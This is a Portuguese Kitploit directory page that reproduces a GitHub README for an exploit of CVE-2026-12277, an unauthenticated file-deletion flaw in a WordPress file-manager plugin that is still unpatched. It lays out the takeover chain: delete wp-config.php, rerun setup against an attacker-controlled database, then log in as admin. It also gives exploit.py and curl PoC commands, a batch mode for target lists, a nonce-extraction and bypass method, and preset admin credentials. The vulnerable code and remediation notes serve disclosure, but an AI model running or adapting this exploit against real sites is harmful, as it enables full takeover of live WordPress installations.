Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-12277 — Frontend File Manager Plugin (WordPress) <= 23.6 - Exclusão Arbitrária de Arquivos Não Autenticada para RCE | Kitploit
Ferramentas/GitHubGitHub/moritakaaz/cve-2026-12277
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubmoritakaaz/cve-2026-12277

CVE-2026-12277

Frontend File Manager Plugin (WordPress) <= 23.6 - Exclusão Arbitrária de Arquivos Não Autenticada para RCE

Ver Repositório
2há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-12277

Plugin Frontend File Manager (WordPress) <= 23.6 - Exclusão Arbitrária de Arquivos Não Autenticada para RCE

Resumo

CampoValor
CVECVE-2026-12277
PluginFrontend File Manager Plugin (nmedia-user-file-uploader)
Afetado<= 23.6
TipoExclusão Arbitrária de Arquivos Não Autenticada
CVSS8.7 (ALTA)
CWECWE-73 (Controle Externo de Nome ou Caminho de Arquivo)
Pré-requisitoModo de upload de convidado ativado
CorreçãoNenhum (a partir de julho de 2026)
PesquisadorChamseddine Bouzaiene

Causa Raiz

O plugin armazena caminhos de arquivos enviados em metadados de post (wpfm_dir_path). O endpoint AJAX wpfm_file_meta_update:

  1. Tem a verificação de nonce comentada (linhas 769-771 em files.php)
  2. Está registrado como nopriv (acessível sem autenticação)
  3. A defesa unset($_REQUEST['wpfm_dir_path']) pode ser contornada através de peculiaridades do request_order do PHP (enviando via string de consulta)

Quando wpfm_delete_file é chamado, ele lê wpfm_dir_path do meta do post e chama unlink() sem qualquer validação de caminho.

Endpoints Vulneráveis

Ação AJAXNonce NecessárioAutenticação Necessárianopriv
wpfm_file_meta_updateNÃO (comentado)NãoSim (sempre)
wpfm_delete_fileSimNãoSim (sempre)
wpfm_upload_fileSimNãoSim (se upload de convidado ativado)

Cadeia de Exploração

root@kitploit:~
1. Detectar plugin + upload de convidado ativado
2. Extrair automaticamente nonce AJAX da página frontend (campo de entrada oculto)
3. Enviar arquivo como convidado OU forçar ID de post existente
4. Sobrescrever wpfm_dir_path via bypass de string de consulta → apontar para wp-config.php
5. Acionar wpfm_delete_file → unlink(wp-config.php)
6. WordPress entra em modo de configuração (setup-config.php)
7. Completar configuração com banco de dados controlado pelo atacante
8. Login como admin → assumir controle total

Arquivos

ArquivoDescrição
exploit.pyExploit completo em Python (detectar → explorar → assumir controle)
poc_curl.shPoC em Bash/curl (Linux)
poc_curl.ps1PoC em PowerShell/curl (Windows)
lists.txtURLs alvo (um por linha, para modo em lote)
requirements.txtDependências Python

Uso

Exploit Python (Automático Completo)

root@kitploit:~
# Instalar dependências
pip install -r requirements.txt

# Exploit automático completo (nonce detectado automaticamente)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --dbname attacker_db --dbuser root

# Apenas detecção
python exploit.py -u http://target.com --detect-only

# Com nonce manual (se a detecção automática falhar)
python exploit.py -u http://target.com -p /var/www/html/wp-config.php --nonce abc123def4

# Com proxy Burp
python exploit.py -u http://target.com --proxy http://127.0.0.1:8080

# Configuração personalizada do banco de dados do atacante
python exploit.py -u http://target.com \
    -p /var/www/html/wp-config.php \
    --dbname pwned_db \
    --dbuser root \
    --dbpass secret \
    --dbhost localhost

Após a Exploração - Login

Após a exploração bem-sucedida, faça login no administrador do WordPress:

root@kitploit:~
URL:      http://target.com/wp-login.php
Usuário: shac1x
Senha: Sh4c1x_Pwn3d!

PoC em curl (Bash)

root@kitploit:~
bash poc_curl.sh http://target.com

PoC em curl (PowerShell)

root@kitploit:~
.\poc_curl.ps1 -Target "http://target.com" -PageSlug "file-upload"

Argumentos

ArgumentoObrigatórioDescrição
-u, --urlSimURL do WordPress alvo
-p, --pathNãoCaminho absoluto para wp-config.php no servidor
--nonceNãoNonce AJAX (pular extração automática)
--dbnameNãoNome do banco de dados do atacante (padrão: wp_pwned)
--dbuserNãoUsuário do banco de dados do atacante (padrão: root)
--dbpassNãoSenha do banco de dados do atacante
--dbhostNãoHost do banco de dados do atacante (padrão: localhost)
--proxyNãoProxy HTTP (ex.: http://127.0.0.1:8080)
--timeoutNãoTempo limite de requisição em segundos (padrão: 15)
--detect-onlyNãoApenas detectar vulnerabilidade, não explorar

Como Funciona a Extração Automática de Nonce

O exploit procura automaticamente por wpfm_ajax_nonce em:

  1. Slugs de página comuns: /file-manager/, /upload/, /files/, /file-upload/, etc.
  2. Arquivo direto: /file-manager.php
  3. Todos os links internos encontrados na página inicial (crawling)
  4. API REST do WordPress (/wp-json/)

O nonce aparece como um campo de entrada oculto:

root@kitploit:~
<input type="hidden" id="wpfm_ajax_nonce" name="wpfm_ajax_nonce" value="abc123def4" />

Ou em JavaScript localizado:

root@kitploit:~
var wpfm_vars = {"wpfm_ajax_nonce":"abc123def4"};

Técnica de Bypass de Caminho

O código faz unset($_REQUEST['wpfm_dir_path']) para prevenir sobrescrita direta. O bypass:

  1. Injeção na string de consulta: Enviar wpfm_dir_path via parâmetro de URL enquanto outros dados vão pelo corpo POST. O comportamento de mesclagem do $_REQUEST do PHP permite que o valor persista dependendo da configuração request_order.

  2. Pré-definição durante o fluxo de upload: O meta wpfm_dir_path é definido durante os hooks iniciais de upload de arquivo. Se explorado nesse estágio, nenhum bypass é necessário.

Ambiente Testado

ComponenteVersão
WordPress6.9.4
PHP8.2.12
PluginFrontend File Manager 23.6
SOWindows (XAMPP) / Linux
ResultadoAssunção total confirmada

Referências de Código Vulnerável

Nonce Desabilitado (inc/files.php:769-771)

root@kitploit:~
/*if (empty ( $_POST ) || ! wp_verify_nonce ( $_POST ['wpfm_ajax_nonce'], 'wpfm_securing_ajax' )) {
    wp_send_json_error(__("Sorry, this request cannot be completed contact admin", "wpfm"));
}*/

Escrita Arbitrária de Meta (inc/files.php:787-795)

root@kitploit:~
$meta_fields = $_REQUEST;
foreach ($meta_fields as $meta_key => $meta_value) {
    update_post_meta( $file_id, sanitize_key($meta_key), sanitize_text_field($meta_value));
}

Bypass de Autorização (inc/files.php:690-693)

root@kitploit:~
$allow_guest = wpfm_get_option('_allow_guest_upload') == 'yes' ? true : false;
if( !$allow_guest && ! wpfm_is_current_user_post_author($_POST['file_id'] )) {
    wp_send_json_error(__("Sorry, not allowed", "wpfm"));
}
// Quando upload de convidado ON → !$allow_guest = false → verificação inteira PULADA

Exclusão sem Validação (inc/file.class.php:729-753)

root@kitploit:~
function delete_file_locally() {
    $file_path = $this->path;  // do meta wpfm_dir_path - SEM VALIDAÇÃO
    if (file_exists($file_path)) {
        unlink($file_path);    // EXCLUSÃO ARBITRÁRIA DE ARQUIVOS
    }
}

Resolução de Caminho (inc/file.class.php:172-184)

root@kitploit:~
function path() {
    $file_dir_path = null;
    if( ! $file_dir_path = $this->get_meta('wpfm_dir_path') ) {
        $file_dir_path = $this->legacy->path();  // fallback: upload_dir + wpfm_file_name
    }
    if( ! is_file($file_dir_path) ) {
        $file_dir_path = null;
    }
    return $file_dir_path;  // SEM canonicalização, SEM verificação realpath
}

Remediação

  • Descomentar a verificação de nonce em wpfm_file_meta_update
  • Validar wpfm_dir_path em relação ao diretório de upload usando realpath() + verificação de prefixo
  • Nunca permitir entrada controlada pelo usuário em caminhos de exclusão de arquivo
  • Adicionar verificações de autorização adequadas, independentes da configuração de upload de convidado

Aviso Legal

Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Sempre obtenha permissão por escrito antes de testar.

Baixar ferramenta